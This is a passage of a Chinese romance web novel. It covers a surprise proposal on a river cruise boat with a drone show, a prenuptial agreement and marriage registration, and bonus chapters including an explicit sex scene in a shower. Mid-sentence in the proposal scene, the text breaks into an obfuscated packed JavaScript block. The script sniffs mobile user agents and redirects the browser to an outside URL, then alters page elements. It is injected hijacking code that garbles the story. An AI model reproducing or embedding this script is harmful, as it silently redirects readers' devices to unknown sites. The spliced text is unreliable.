戴在手上的戒指沈述白不让她取下来,美其名曰:“好不容易有个机会,我们提前体验一下未婚夫妻的感觉。” 傅珺瑶“嘁”了声,没拒绝。 两人在商圈逛了逛,沈述白又把她拉进奢侈品店选包选衣服,看到那些稀缺款有货,他又平平静静递卡签单,她才反应过来都是提前他安排过的。 甚至于拎着大包小包放进车里后,他又说已经订好餐厅,去吃个烛光晚餐再回家。 傅珺瑶实在惊叹他的执行力,感觉她都没反应过来,他就已经把事都安排好了。 也挺好。 傅珺瑶背脊一松,懒懒靠在副驾驶座,右手拇指摁在左手中指,勾勒着戒指的轮廓,脸上笑意不止。 反正有个心细体贴、能扛事、能安排事、替她解决烦恼节省时间的老公,也挺不错。 - 距离订婚宴没剩多少天,傅珺瑶周五下午总算能提前点下班,和沈述白约好一起去试礼服。 设计师是顾清漪在米兰认识的朋友Haylen,为了方便随时调整,沈述白花重金把人请到淮北,衣食住行全方位安排周到。 “珺珺,我可能得晚到一点,突然有点急事。”电话里沈述白的语气有些急,又带了几分歉意。 傅珺瑶倒是不怎么介意:“没事,你先处理,清漪过来陪我了,不用着急。” “好,我尽快忙完过去找你。” “怎么啦?”顾清漪帮着把礼服推过来,抿着唇,视线在傅珺瑶身上绕了一圈。 傅珺瑶解释沈述白得晚点到。 “那现在试还是等会试?”顾清漪问。 傅珺瑶沉吟:“等会吧。” 直接坐到旁边的沙发上,打算回工作邮件。 “那现在试试别的?有套轻便型的鱼尾裙,你最近不是塑形了嘛。” “可我到时候只需要穿这套啊。”傅珺瑶觉得没那个必要。 “来都来了,试试嘛。”顾清漪把她从沙发上捞起来。 “……” “试试,我想看。”顾清漪嘴上说着,手也没停,推着人进了试衣间。 傅珺瑶半推半就,礼服都送到她手边,她也没法拒绝。 顾清漪递给她的鱼尾裙是很经典的白色缎面一字肩,没有夸张的修饰,只有缎面捏褶成型,胸颈恰到好处的露肤度拖出傅珺瑶独有的气质。 顾清漪在身后帮她拉好背链,整件礼服严丝合缝贴在她身上,一分不多、一分不少。 “真好看!”顾清漪咂舌。 傅珺瑶对着面前的落地镜左右侧身,把头发撩到前面来:“这你帮我定的?完全是我的尺寸。” 顾清漪眸光轻闪,避开镜中她的视线,干笑:“对啊,怎么样,我给你准备的惊喜,喜欢吗?” 傅珺瑶双眼眯起,又垂眸,视线从脚边爬到胸前。 才轻飘飘嗯了声:“喜欢。不过这样太单调了吧?都没配饰。” “当然有!”顾清漪打了个响指,“出去戴。” 装备齐全的梳妆台前,崭新的叠层珍珠项链和配套的耳环整齐放在珠宝盒里,傅珺瑶无声侧眸,漫不经心扫过顾清漪一眼。 “准备这么齐全?”傅珺瑶状似不经意问。 “那当然了,你订婚我这个当闺蜜的肯定得好好表示表示!”顾清漪拍着胸脯,眉眼上挑,似乎急于证明自己。 傅珺瑶笑笑不语,没两秒,又轻叹了口气:“那既然都穿上了,索性再试个妆。” “我就说咱俩心有灵犀呢,Haylen邀请了她的专业化妆师朋友,也是我想给你的惊喜,满意吗?”顾清漪几乎立刻应和。 一个招手,Haylen就已经带着人进来。 “这是Fanny。”Haylen介绍:“这是珺瑶。” 傅珺瑶跟人打过招呼,视线挪到桌上扣着的手机,又看到镜子里移到另一侧不知道去做什么的顾清漪。她找出手机里存的几张照片,递给Fanny:“我想要这个风格的,OK吗?” Fanny只看了眼,便笑着回应:“没问题!” - 傅珺瑶化完妆,沈述白还没到。 顾清漪点了果茶过来,送到傅珺瑶身侧:“珺珺,先喝点东西。” 傅珺瑶接过来抿了口,对着面前的镜子左右晃动脑袋,细细看过脸上的妆容。 精细雕琢过的眉毛下眼影很浅,眼线沿着眼尾拉出,简单修饰眼型,阴影、高光打的恰到好处,橘调哑面口红衬得整张脸凌厉又柔和。 她勾了勾唇。 她很满意。 手指前伸,半熄的屏幕亮起,时间不早了。 傅珺瑶侧眸瞥了眼在旁侧小沙发上坐着回消息的顾清漪,语气随意:“清漪,咱们一会找个地方吃晚饭去,等沈述白过来,我们试完就走。我现在来订餐厅,你有没有什么很想吃的?” 顾清漪本能惊呼,旋即摇手:“这个不着急,我来订,路婧上次送了很多卡,咱们直接去消费就成,你不用操心。” 傅珺瑶若无其事“哦”了声,又问:“许远舟呢?你不是说他今天休息?叫他一块过来呗。” 提及此,顾清漪脸上的表情更不自然,右手抬起来反复撩头发:“他啊…他……他爸有事找他,我一会问问他空闲没。” 傅珺瑶盯着镜子里的人影看了两秒,哼笑一声,没再说什么。 转手,她又点开手机,在微信里看了一圈,什么都没干,最后退出,点开地图。 这间工作室是当时为了方便Haylen,沈述白特地租下来的。地处繁华都市,不管是交通还是吃喝玩乐,都再方便不过。最重要的,这里距离江滩很近。 傅珺瑶浅哼,又说:“正好今天周五了,不然叫着盛琪、路婧她们出来一起吃个饭呗,到时候还得麻烦她们当伴娘,还有宋董,干脆连着沈行之也一块叫出来,我给沈述白打电话。” 话音刚落,傅珺瑶手上已经有动作。 “哎等等等!”顾清漪几乎立刻跑过来拦下她的动作。 “怎么了?” “我的意思是,这会也不早了,现在约说不定也约不齐,下次咱们提前约,直接把人聚齐。” 顾清漪说得头头是道,挺像回事。 傅珺瑶长吟,“没事,那我问问沈述白忙完没,我等的肚子都有点饿了。” “肚子饿了?那咱们去江滩游轮餐厅吃点东西?”顾清漪试探性问。 “好,那我去把礼服换下来。” “别呀!”顾清漪瞬间拦下她:“这身也能穿出去,换来换去多麻烦呀?而且你都化好妆了,再换常服也不搭嘛。” 傅珺瑶收回迈出去的脚,唇角扬起的弧度又很快被她压下去。 “是啊,那我就这样穿着出去了?” “嗯嗯嗯!”顾清漪连连点头,紧紧扣着她的手。 傅珺瑶回头看了眼镜子,把掉在额前的碎发挽至耳后,又抿匀唇上的口红,才跟着顾清漪出门。 天色已经暗下来,傍晚开幕,路灯和街灯亮起,和月色一起照亮整座城市。 恰逢周五,街市来往行人密集匆匆,哄闹不止。 傅珺瑶和顾清漪顺着人群过了绿灯,越过台阶,直抵江滩。 两人往游轮餐厅的位置走,傅珺瑶的视线却一直往旁侧偏移。 水波涌动的江面映着对侧大楼亮起的五彩斑斓的灯火,游轮斜开停驻,晚风轻拂,柳叶簌簌,一切如常。 傅珺瑶的一袭白裙在昏黑中格外醒目,长发微微后扬,眸色停在不远处那艘停靠在岸边的游轮。 和游轮餐厅外亮起的白灯不同,那艘游轮里里外外都有花瓣、气球装饰,只是暂时看不到里头的人影。 傅珺瑶暗暗咽喉,和顾清漪紧紧牵握的手力道再度加重,脚步不自觉加快。 顾清漪跟着她大步前迈,另一只手在身侧迅速在手机上按动。 “珺珺,我们走慢点,别着急嘛。” 傅珺瑶左手捏紧,暂时放慢脚步,侧眸望了眼顾清漪。 还没来得及说话,前方一声“珺珺”率先冲进耳膜。 盛琪和路婧同时开口,从那艘游轮下来,后边她们几个关系比较近的朋友也在,手里都捏着支粉玫瑰,个个脸上带笑。 傅珺瑶眼眸轻缩,心尖还没成型的兴奋转瞬凝聚。 紧接着,许远舟带着那些男人下来,也都是傅珺瑶认识的熟面孔,手里同样捏着粉玫瑰,甚至于,傅淮湛也在,不过不同于其他男人的简单穿搭,傅淮湛一身稳重有风度又不抢眼的墨色西装,领带一丝不苟打好,他还做了发型。 傅珺瑶忍不住弯唇,两条腿半刻未停,很快走到盛琪和路婧身边。 “珺珺,今晚很漂亮。”盛琪把花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374506|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 递给她。 “珺珺,恭喜恭喜!”路婧弯眉递花。 身侧的顾清漪不知道什么时候没了踪影,傅珺瑶被盛琪和路婧推着往前。 “珺瑶恭喜!” “珺瑶恭喜!” “珺珺,祝你幸福啊!” …… …… 一群女性朋友们送完花,她们已经接近游轮。 那群男性朋友以许远舟为首,主动走上前把花送到傅珺瑶手里。 “珺瑶恭喜!” “珺瑶恭喜!” …… …… 温和的花香入鼻,傅珺瑶唇边的弧度越来越深,一群人跟在她身后,再往前一步,就要踏至连接板。 傅淮湛就站在那里,把最后一支粉玫瑰递给她,声音难得带点悦色:“珺珺,哥哥祝你永远开心、永远幸福,如果沈述白让你不开心了,我一定给你撑腰。” 傅珺瑶浅哼,笑意明显,朝他轻轻点头:“谢谢哥。” 他主动侧身,示意她上游轮。 傅珺瑶手里拿着花,先理了理长发,清了清嗓,又深吸口气,这才提起裙摆往里踏进。 眼前的景象强势撞进眸底,迅速抢过她的注意力—— 暖白的灯光照下,数不清的粉白气球布满里厢,地面撒满粉白红玫瑰花瓣,长条餐桌中央一捧定制花束,从下至上绣球、玫瑰、百合、满天星层层上叠,花束前面还立着两个卡通玩偶,一女一男,女穿浅紫色长裙,男着黑色T恤长裤,看着有些眼熟。 傅珺瑶盯着看了两秒,视线落在两个玩偶颈前的竹音哨,很快嗤笑出声,手掌半掩在唇前。 那是“江云”和“江阔”。 窗边贴着数十张照片,全都是她和沈述白在洱南拍的那些。靠近顶侧,气球围成两簇花形牢牢粘在墙板,牵出条长绳,长绳串起不规则布条,连成句“ILOVEYOU”。 傅珺瑶再度笑出声,不知怎的,鼻腔也跟着呛出阵酸意。 她刚刚是猜到沈述白打算求婚,只是没想到,这些人、这些布置还是在她的意料之外。 另一侧,沿着窗边横摆的超长沙发上堆满零散的气球,墙板同样贴着气球和照片,不过照片不再是洱南拍的那些,是他们日常拍的生活照。 沙发上沿,白色字母灯座等隙立好,亮黄色的灯柱汇聚,傅珺瑶那两颗漆黑的眸珠被那句抢眼的“MARRYME”刺得微微发疼。 蓦地,眼前一道人影闯入,消失的顾清漪不知道从哪里抱了一大捧粉白玫瑰上前。 “珺珺。” 她手微微发抖,声音不可避免带了丝颤意。 傅珺瑶对上她含着泪光的眸子,嘴边的弧度收敛几分,染上股清澈的柔和。 “今天我们合起伙来瞒着你,也是想给你一个惊喜。不管未来怎样,我希望你永远都是你,永远都幸福!” 鼻尖的酸意更浓,隐隐有往上窜的趋势,傅珺瑶眼前稍稍模糊,重重点头,朝着顾清漪“嗯”了声。 顾清漪顺势牵着她,对身后的一群人使使眼色,然后拉着傅珺瑶往甲板走。 绕过相对封闭的内部环境,脚边的花瓣越来越多,一缕柔和的晚风沁入肌理,傅珺瑶往前踏稳,顾清漪的手随之松开。 她迫不及待抬眸,一瞬,那道身影钻入她双神,让她完全忽略掉甲板上更繁复的装饰。 从傅珺瑶脚边开始,粉白绣球花、薰衣草还有数不尽的玫瑰聚拢围堆,延伸至游轮头部。两侧的栏杆上绑满气球和花束,竖栏绑着氛围灯柱,瞬间点亮昏暗的江面。 傅珺瑶隔着花束留下的一条小道和沈述白对望。 男人一身定制的黑色西装,干净的白色衬衫没有一丝皱褶,黑色领带严整平实,他还特地做了发型,露出饱满的额头,一双经由修饰的眉毛下定着她最熟悉的深褐色眸珠,光线照入,两颗眸珠光莹透亮,里头无数温情漾出,直抵她心口。 傅珺瑶心脏紧缩,泵出股滚热的血,迅速涌向四肢。 视线下移,男人怀里抱着大捧红玫瑰,终于等到想见的人,他唇边绽开抹浅笑,长腿前迈,沿着那条花簇留出来的唯一小道,稳步靠近她。 他右耳的黑曜石在眼前愈发清晰,她认出来,是那颗彩虹黑曜石。 傅珺瑶两颊的肌肉笑的微微发僵。 他戴上这个……果然很烧。 “珺珺。” 男人身上干净清冽的气息扑进鼻腔,混着红玫瑰明艳动人的清香一起氲至心口,仿佛唤醒浑身血液中蛰伏的激情,倏然迸发。 他的手伸至眼前,掌心朝上,一副邀约姿态。 傅珺瑶不拖沓,手叠上去,另一只手捏着裙摆,和他一起往甲板头部走。 游轮不知道什么时候开始在江面行驶。 傅珺瑶嘴唇轻抿,暗暗清嗓,双耳已经做好听求婚说辞的准备。 然而游轮行驶好几分钟,身侧的男人还没有开口的打算。 站在他们身后的那群人也不着急,个个满眼期待、面露笑意。 傅珺瑶一怔。 还不开始? 这游轮要驶到哪儿去? 不应该一上游轮就直接开始? 她又猜错了? 那他到底要怎么求婚? 大脑迅速思考,各种猜测接踵而至,只是傅珺瑶还没来得及‘破解’他的招数,长江对侧那一排林立的霓虹耀眼的高楼率先抢占她的思维据地—— 灯光秀大屏上的字很快滚动:珺珺,我想和你在一起一生一世!我们结婚吧! 傅珺瑶还没看完,耳边忽然响起音乐声,万米黑夜长空迅速聚集数不清的无人机,排列有序。 灯光一瞬亮起,耳边传来从岸边发出的哄闹。 傅珺瑶两颗漆黑的眸珠缩紧,脸上神色短暂凝滞,诧异望向身侧的男人。 无人机求婚?他什么时候准备的? 沈述白主动靠近,搂住她的肩。 面前的无人机跟着音乐开始变幻行阵,粉色灯光围成一个身着西装的女人,蓝色灯光围成一个身形板正的男人,两人背对而立,神态低沉,好似都在生彼此的气。 沈述白的声音同时落入耳际:“珺珺,我们人生的前二十多年,一直都是你不让我、我不让你的敌对状态,每每遇见,总是气得对方下不来台。” 傅珺瑶本能回想起很多过去的事,从学生时期开始,他们就不对付,都想要压彼此一头,到了职场上,相较此前有所收敛,却依然没有体面可言。 她没忍住笑出声。 沈述白继续:“以前我总是想,我大概只要在这个圈子里一日,就肯定没办法避免和你交锋,也总是想各种办法,想要对付你。” 无人机灯光移动,女人男人模样渐退,灯光变红,无人机在外圈围出一个爱心,里头的空当被粉紫色排成两个名字: 江云X江阔 左下角还有十几架变青,横斜过去的右上角也有十几架无人机变蓝。 傅珺瑶认出来,那是竹音哨和装海水的玻璃瓶。 唇边的笑意渐深,男人的话语还在继续:“只是没想到,你来找我,我们打算合作,去了洱南,又在洱南出了事,我们成了江云和江阔,以为彼此恩爱,开启了那段意料之外的感情。” 脑海中过往的画面一段段浮现,傅珺瑶眼底光耀闪烁,脖颈转动,视线对上他原本就一直在看她的眸。 沈述白眼底软动几分,又主动仰头,带着她重新注视再度变换的无人机阵型。 两颗心重叠成型,旁侧无人机围成手拿弓箭的丘比特,弓箭回拉,又射/出,穿透那两颗心,阵型丝滑退散,重摆红色爱心,只不过这一回里头的内容改变: 傅珺瑶X沈述白 “回来之后,我们好不容易没了那些阻隔,好不容易…都不愿意放弃彼此,有了现在。” 沈述白稍微停顿,手突然松开她,慢慢侧身,和她对立而站。 傅珺瑶满眼喜色,听着他继续:“珺珺,我们的人生是戏剧性的,但我们的感情不是,我不想长篇大论去说太多空话,我只想告诉你,我一定会用我的真心来经营、维系我们的婚姻。” 傅珺瑶的笑收敛了几分,眼底鼓出很轻的热意。 长空的无人机还在继续变换阵型。 LOVEYOUFOREVER MARRYME “我会用我的行动来证明,我们的关系绑定是值得的。” 傅珺瑶嘴唇合紧,原本上挑的眉头也轻轻下撇。 沈述白后退一步,手忽然伸进西装裤兜,掏出一个蓝色的盒子,单膝跪地。 围在他们身后的那群朋友也忍不住哄闹。 无人机灯光转蓝,围成一个巨型钻戒礼盒,礼盒缓缓开启,里头的钻戒滑出,旁侧一只手靠近。 沈述白打开礼盒,下巴抬起,戒指迫不及待递至她跟前。 他深吸了口气,喊出对侧高楼大屏上还在滚动的那句话:“珺珺,我想和你在一起一生一世!我爱你,我们结婚吧!” 傅珺瑶微微垂眸,那枚耀眼的钻戒躺在盒中—— 尚美的约瑟芬系列鹭羽冠冕钻戒,精雕细琢的水滴钻石光芒耀目,让人有些移不开眼。 鹭羽冠冕,轻盈和权力兼具。约瑟芬系列,约瑟芬是拿破仑的皇后,可拿破仑给她的并非头衔,而是爱和尊重。 约瑟芬鹭羽冠冕,用权力和名义,为爱加冕。 傅珺瑶忽的鼻头一酸。 她就知道,他不会让她失望的。 身侧的朋友们以顾清漪为首,被带动大喊:“结婚!结婚!结婚!” 沈述白那双温柔的褐眸暗含紧张,又期待地望着她。 傅珺瑶没有一刻犹豫,左手前伸,大声回应:“好!我们结婚吧!” 男人咧唇笑开,不敢耽搁半刻,迅速捏起钻戒套入她中指。 长空之上,那只伸出来的手也成功套上那枚硕大的钻戒。 岸边人声转瞬哄闹沸腾,无人机再次转形,聚成颗巨型红色实心爱心。 “亲一个!”顾清漪两手挡在颊侧,大声喊出来。 后面的盛琪、路婧、许远舟很快附和,所有人都跟着喊:“亲一个!亲一个!亲一个!” 两人相视一笑,沈述白被傅珺瑶拉起身,人还没站稳,已经俯下身,手掌顺势托住傅珺瑶的后颈,直直吻上来。 缠绵的热吻被晚风和江水见证,无人机换形,1314架无人机灯光各异,同时从一个中心点发散而下,仿若场盛大的无声烟火。 傅珺瑶手里的花被她甩在脚边,两手同时攀住沈述白的肩颈,回应他的吻。 璀璨的灯光映射,傅珺瑶左手的那枚钻戒折出独一无二的、只属于傅珺瑶和沈述白的瞩目光芒。 - 【领证】 傅珺瑶和沈述白决定在7月19号去领证。 那是她和他在洱南第一次见到彼此的日子。 领证这方面,顾清漪也有经验,陪着傅珺瑶去挑了套白色方领连衣裙,简单大气,很衬气质。 她也帮沈述白定了套英伦西服,到时候打算请摄影师帮着录视频拍写真。 一切都准备得差不多,就等着日子到。 那天晚上吃过晚饭,傅珺瑶突然进书房拿了一个文件夹出来,站在沈述白身前,脸色稍微沉重。 “怎么了?”靠在沙发上休息的沈述白瞬间放了手机起身。 “老公,我有点很重要的事想和你好好谈谈。” 她面色不改,语气也有些凝重。 沈述白瞟了眼她手里的东西,先拉着她坐下来。 “有什么事直接说就好。” “是…关于我们领证的事。”傅珺瑶短暂迟疑,把文件推到他跟前,声音里多了几分不易察觉的试探。 男人不拖沓,翻开文件夹,扉页的那几个大字很快映入眼帘—— 婚前协议。 傅珺瑶的视线定在他身上,始终关注他的神色。 沈述白却没什么波澜,仿佛这份文件出现是在他意料之内。 从侧面看去,他微垂的眼皮半掩眸珠,却一点没拦住里头的柔和。 这也给了傅珺瑶不少底气,她抿了抿唇,径然开口:“老公,虽然我很相信你,但我还是想提前和你约法三章。” 沈述白嗯了声,长指捻着纸页,往后翻动。 列举清晰的条项印在纸上,沈述白慢慢扫过那些文字。 傅珺瑶也不忘口述:“首先,我们婚前要去做财产公证;其次,我们的婚姻内,性不能作为义务,只能作为意愿,任何时候任何一方都不能强制、勉强彼此;最后就是丁克,不管过去多少年你都不能反悔。以及…结了婚之后,我依然是傅珺瑶,而不是沈太太。” 傅珺瑶十指蜷握,黑眸依旧停在他脸上,短暂停顿后,说完最后一句话:“这些条件违背一条,我们就离婚。” 她话音落下的那刻,沈述白也看到最后的签字处,她的签名稳重的停在那里,旁侧摁了手印。 沈述白没说话,眉眼骤然弯起,鼻腔溢出声浅哼,唇边弧度扬起。 傅珺瑶有些拿不准他这笑意味着什么,又主动靠近,搂紧他的胳膊,刻意放软语气:“不过老公,我相信你不会想和我分开,所以一定能做到这几条简简单单的要求,对吧?” 眸珠还不忘关注他。 沈述白直接拿了她带下来的笔和印泥,毫不犹豫签了字,沾过印泥摁手印。 “是,这些条件对我们来说,早已经是心照不宣的事实。” 傅珺瑶心口窃喜,暗暗松口气,手臂把人搂的更紧。 “其实你还可以提的更多一点。”他又继续。 “嗯?” “比如万一我没达到你的期望,没做到一个合格丈夫该做的,你随时都能开了我。不过我也相信,我不会做不到,我也相信,你就是唯一值得我这么做的人。” 傅珺瑶唇边的弧度又渐渐收起,莫名的,一股很浅的酸胀从心尖冒头。 他的那双褐眸准准对上来,傅珺瑶骤然恍惚,脑海中本能回想起在那个裹着海咸味的房间醒来,她一不小心,撞进那片特别的、温柔的琥珀海。 他的气息靠近,声音继续淌入她耳际:“就像当初说过的那样,不管是现在还是未来,我永远都是你老公,也只是你老公,你也永远都是我老婆,也只是我老婆。” 最后一个字音落下,傅珺瑶鼻头的酸胀渐浓,两颗黑曜的眸珠左右浮动,没有离开他半刻。 “珺珺,我知道说再多都没什么用,但你相信我,我会用未来的数十年证明,你并没有选错我。” 胸腔里的一团气没压住冲了上来,傅珺瑶扬唇笑出声,眼角多了几分湿意。 她直勾勾望着男人,重重点头:“好!我相信你!” 旋即扑进他的怀抱,贪恋地攫取他独有的气息。 - 民政局内,钢印落下的那刻,两个热腾腾的红本本落到两人手里。 傅珺瑶拇指抚在那张证件照上,又看着出现在一页纸上的她和他的名字。 傅珺瑶。 沈述白。 他们站在国徽前郑重念着誓言,结束时,轻轻落下一吻。 沈述白低眸凝她,眼底含笑,语气轻扬又认真:“老婆,我爱你。” 傅珺瑶眉眼跟着抬弯,笑意不止于嘴角,直盈双目:“老公,我也爱你!” 自此,他们被绑定在一起,同甘共苦、不离不弃,珍爱对方一生一世。 85. 番外2 【浴室】 晨阳透过密合的窗帘,夺走了房间里的昏暗。 清爽的凉气不疾不徐地从排风口涌出来,慢慢渗进皮肤,扫去了夏季的燥意,顺带吹走了大半房间里停留的暧昧气息。 傅珺瑶的胳膊从夏凉被里钻出来,双眸还没睁开,身子先往一边侧过去。 手臂搭下,落了空。 她睁开眼,只看到枕头上留下的浅浅凹痕。 他还是起这么早。 昨晚明明睡那么晚。 傅珺瑶沉吟了声,两只胳膊撑出来,伸了个懒腰,背脊一用力,坐起身。 夏凉被从胸口滑下来,她也没在意,捞过旁侧床边椅上昨晚被扔在那里的T恤套上,光着腿下了床。 窗帘敞开,金灿灿的阳光毫不吝啬地从外头洒进来,整个房间都亮堂起来。 傅珺瑶两手摁在头顶,头发往后拨弄,顺势甩了甩,转身出房间,下楼。 刚走到楼梯口,耳边便闯进来阵不大不小的均匀的喘息。 她脚步一顿,绕过楼梯两侧的栏杆,探头看过去,瞳仁没忍住一缩。 男人正在客厅里健身。 斜起大概三四十度的平板椅上,男人双臂上扬,背脊贴在平板椅上,下肢悬空,用臀部带动大腿上顶。 顶起、落下。 气息伴随着动作从口唇泄出。 最关键的是,他只穿了条运动裤。 傅珺瑶下意识咽了咽口水,黑眸眯起。 隔着不近不远的距离,她停在半道。 他听到声音,动作没停,只稍微侧头,温柔的声音慢慢喘出来:“醒了?” 傅珺瑶撑在楼梯栏杆,掌心托着下巴,弯下腰,视线停在他的腹肌上。 敞亮的光线下,她看到那两排熟悉的肌肉上已经沁出层薄汗。 咽嗓的动作更频繁。 “沈总,我昨晚虽然吃饱了,但只是昨晚。” 男人的动作停下。 坐在平板椅上,背脊直起,一双褐眸散漫地望过来。 从傅珺瑶这个角度看过去,哪哪都在眼底清晰的很。 心脏悄然往前一撞,扎扎实实地撞在胸壁,等缩回来,又猛地往外射血。 她不自觉弯起唇。 接着说完后半句话:“你要是这么诱惑我,我还是会饿的。” 男人直勾勾地看着她,轻和微喘的嗓音里拖了点不受束缚的醇和:“我是想健健身,真没其他意思。” 傅珺瑶鼻尖动了动,一股微小的气流从里头涌出来,没说话。 她换了个手撑下巴,好整以暇地盯着他。 不出三秒,男人再次开口:“傅总要一起吗?” 傅珺瑶唇边的弧度加深,笑意从眼底钻出来,她直起身,走完剩下的阶梯,视线始终停留在男人的腹肌上,缓步挪到他跟前,才慢吞吞开口:“好啊。” 黑眸短暂流转在那双褐眸,很快垂下,往她熟悉的地方瞟了眼,低声说:“你躺下去。” 沈述白慢慢吐了口气,腹部的两排肌肉微微收紧,他听了她的话。 躺下去的同时,胳膊跟着撑在平板椅上,二头肌和三头肌绷紧成型,连带着肩胛的肌肉线条也清晰流畅。 锁骨也突出得更明显。 加上他本来就生得白,一出汗,皮肤就白得更明显。 傅珺瑶咽喉的频率已经不受控,快到她嗓间越来越干涩。 眉心忍不住抽了两下。 昨晚的回忆又跟着涌入脑海。 嘶…… 美色误人。 但今天是休息日。 误一下也没什么大不了。 她往前,毫不犹豫,稳稳坐在他腿上。 几乎是同时,男人喉间溢出声低吟。 她盯着男人,两只手虚按在他胸口,掌心覆盖在她已经熟悉过很多回的地方。 “老公。”她突然唤。 男人的眸子闪了闪,那片琥珀海隐隐有泛起凶猛浪涛的趋势。 “我帮你练核心,你试试,能不能发力?” 身下的男人腰腹收紧,两只手使劲拽着平板椅两边,一声轻哼,傅珺瑶刚上移了点的身体又抖回来。 “……” 傅珺瑶两手下移,手指弯起,用指甲刮了刮他的肌肉,那一小块的薄汗扫开,在冷白的皮肤上留下明显的红痕。 “看来沈总练的还不够嘛,嗯?”她压着声,调侃的味道再明显不过。身体也往下压,背脊稍弯,整个人慢慢靠近他。 “都起不来,还在这等着我,嗯?”傅珺瑶的手指收紧,指甲狠狠嵌入他的皮肉。 然而她话音刚落,整个人突然悬空。 “啊——”傅珺瑶下意识叫出声,胳膊出于本能地紧攀着男人。 “咱们换个地方,我让傅总好好见识见识,我到底起不起得来。” 站在浴室的防滑垫上时,傅珺瑶还没来得及喘口气,头顶的花洒顷刻喷出水柱,毫不吝啬的淋在身上。 “嘶,衣服还穿着。”傅珺瑶斜了他眼,身上的T恤被水浸湿,很快贴在肌肤,连带着底下的光景一览无余。 她早上起来就直接套上了,里面可是挂的空档。 沈述白隔着T恤,手覆过来,另一只手绕到她腰后。 “你这样很美。” 他都不客气了,她也不必矜持。长腿轻抬,脚趾勾在他小腿侧,嘴唇穿过水柱,落到他唇上。 吻了一会儿,她浅浅松口,微微贴着他:“那你怎么还不起来,嗯?” 话音落下的那刻,男人呼吸一紧。 傅珺瑶得意勾唇,绕到他耳侧,吻重新落在他的耳钉上。 她把男人勾紧,声音被这水雾浸染,朦胧又暧昧:“沈总还能让我满意么,嗯……” 一句带着疑问的话到最后变了调。 傅珺瑶被身后冰冷的墙壁刺激得一激灵,很快,热水顺着下延,热意回笼。 他没有留给她太多准备的时间,径直沉了进去。 “作为傅总唯一的合作方,要是不能让傅总满意,这个项目不就难进行下去了,那可不是我想要的结果。” 他也不等她回应,俯身上前,动作不停,狂烈吻过去。 他知道,其实她不太喜欢一味的温柔。 尤其在这种事里,激情是永远的导火索。 排水口的水流不知道滚过多少回,玻璃门上的雾气越来越浓。 交叠的人影模糊在雾气中,频率越来越快。 水声混杂着暧昧声频出,最后在浴室上方爆开。 - 【奶油蛋糕】 沈述白过生日那天不赶巧,是个工作日,又遇上点要紧的事,无奈加班,傅珺瑶原本订好的餐厅也没办法去了。 索性,傅珺瑶直接带着订好的蛋糕,去启行接他下班。 月色沉沉,环绕在拥挤都市中心的写字楼渐渐熄灭繁忙的灯光,车流行人慌忙赶路,急着结束这一整天的疲惫。 “事解决完了吗?”沈述白进车里时,傅珺瑶把买好的布朗尼递给他。 “解决完了,不影响明天休息。”沈述白长舒口气,又把西装外套脱下来扔在后座。 傅珺瑶扣好安全带,又递了水给他。 “沈总辛苦了,周末出去放松放松,好好过个生日。” 沈述白咬了口布朗尼,空荡荡的胃里好受了些。 “不辛苦,有我老婆特地来接我,还专门给我过生日,是我的荣幸。” 傅珺瑶轻嗤了声,唇边掩不住的笑意,又跟他松松散散拌起嘴来。 回到家,已经是深夜十一点二十。 沈述白想先洗澡,傅珺瑶怕赶不及,又催促他:“那你快点洗,不然赶不上十二点。” “好,你要不进来一起?” “我等会,我给你煮长寿面。” 这活还是前不久傅珺瑶跟他学的,觉得他煮的面好吃,又不想次次等着他做,索性自己学来了。 沈述白望着她笑笑,眼底托出一贯的柔和:“好。” 两人紧赶慢赶,好算在十一点五十弄完。 傅珺瑶端着那碗飘着荷包蛋的长寿面,稳稳放在客厅的茶几上,又拆了蛋糕的包装盒。 口味是她选的,黑森林蛋糕,巧克力碎全方位环绕白色奶油包裹的蛋糕胚,沿着蛋糕外围一圈,九块奶油托着九颗车厘子,里头是蓝莓乳酪夹心的蛋糕胚。 傅珺瑶迅速拆了数字蜡烛,直直插在正中,不着急点燃,等着时间。 沈述白带着一身干净的沐浴乳香在她身侧的地毯坐下,褐眸被那碗正在冒热气的面氲得透亮温柔,最后停在她身上不动。 手机时钟表盘上的秒针越过12数字,分针和时针即将重合,傅珺瑶很快推搡身侧的男人:“快做好准备,我来点蜡烛!” 沈述白闻声应行,背脊挺直,两手合在一块。 “3、2、1!” “老公生日快乐!” “快许愿许愿!” 昏黑的客厅内亮着两簇小火苗,男人双眸轻闭,双手交叠,嘴角带着浅浅的弧度。 傅珺瑶穿过幽暗,视线落在他的眉眼。只借着那一点光亮,把人看得清清楚楚。 几十秒的沉默后,沈述白轻合的眼睑张开,睫羽扇动,脖颈前伸,吹灭那两簇火苗。 灯光重新铺满客厅的时候,傅珺瑶往他身边靠近,再度开口:“生日快乐,老公。” “谢谢老婆。” 他的身子前倾,自然而然朝着她靠近。 傅珺瑶顺势往前,嘴唇贴近,轻啄了一下。 “先吃面,一会坨了。” 沈述白听了她的话。 细圆的面条裹着清汤,咸鲜恰到好处,荷包蛋轻咬一口,里头的溏心也跟着流出来。 “怎么样,我的厨艺是不是进步了很多?”傅珺瑶扬起下巴,语气沾沾自喜。 “好吃。”沈述白没有咬断面条,尽数吃进去,慢条斯理咽下,又把视线挪过来,看着她回答。 他吃,她陪他聊天。等面下肚,傅珺瑶把刀叉递给他:“你来切蛋糕。” 沈述白伸手,力道却没落在刀叉,反而停在她腕骨,一个使劲,把人拉进怀中。 “我要你和我一起切。” 傅珺瑶心口猛地一跳,回神时,已经坐在他怀里,两腿和他叠靠在一块,后背紧贴着他胸膛,鼻腔很快钻进他身上的香味。 耳根不自觉热起来。 她被他带着力,在圆形蛋糕上切开块三角,奶黄的蛋糕胚夹着紫蓝色的蓝莓乳酪,隐隐流心。 背后他的心跳撞在她脊骨,傅珺瑶盯着眼前层次分明的蛋糕,悄悄咽了咽口水。 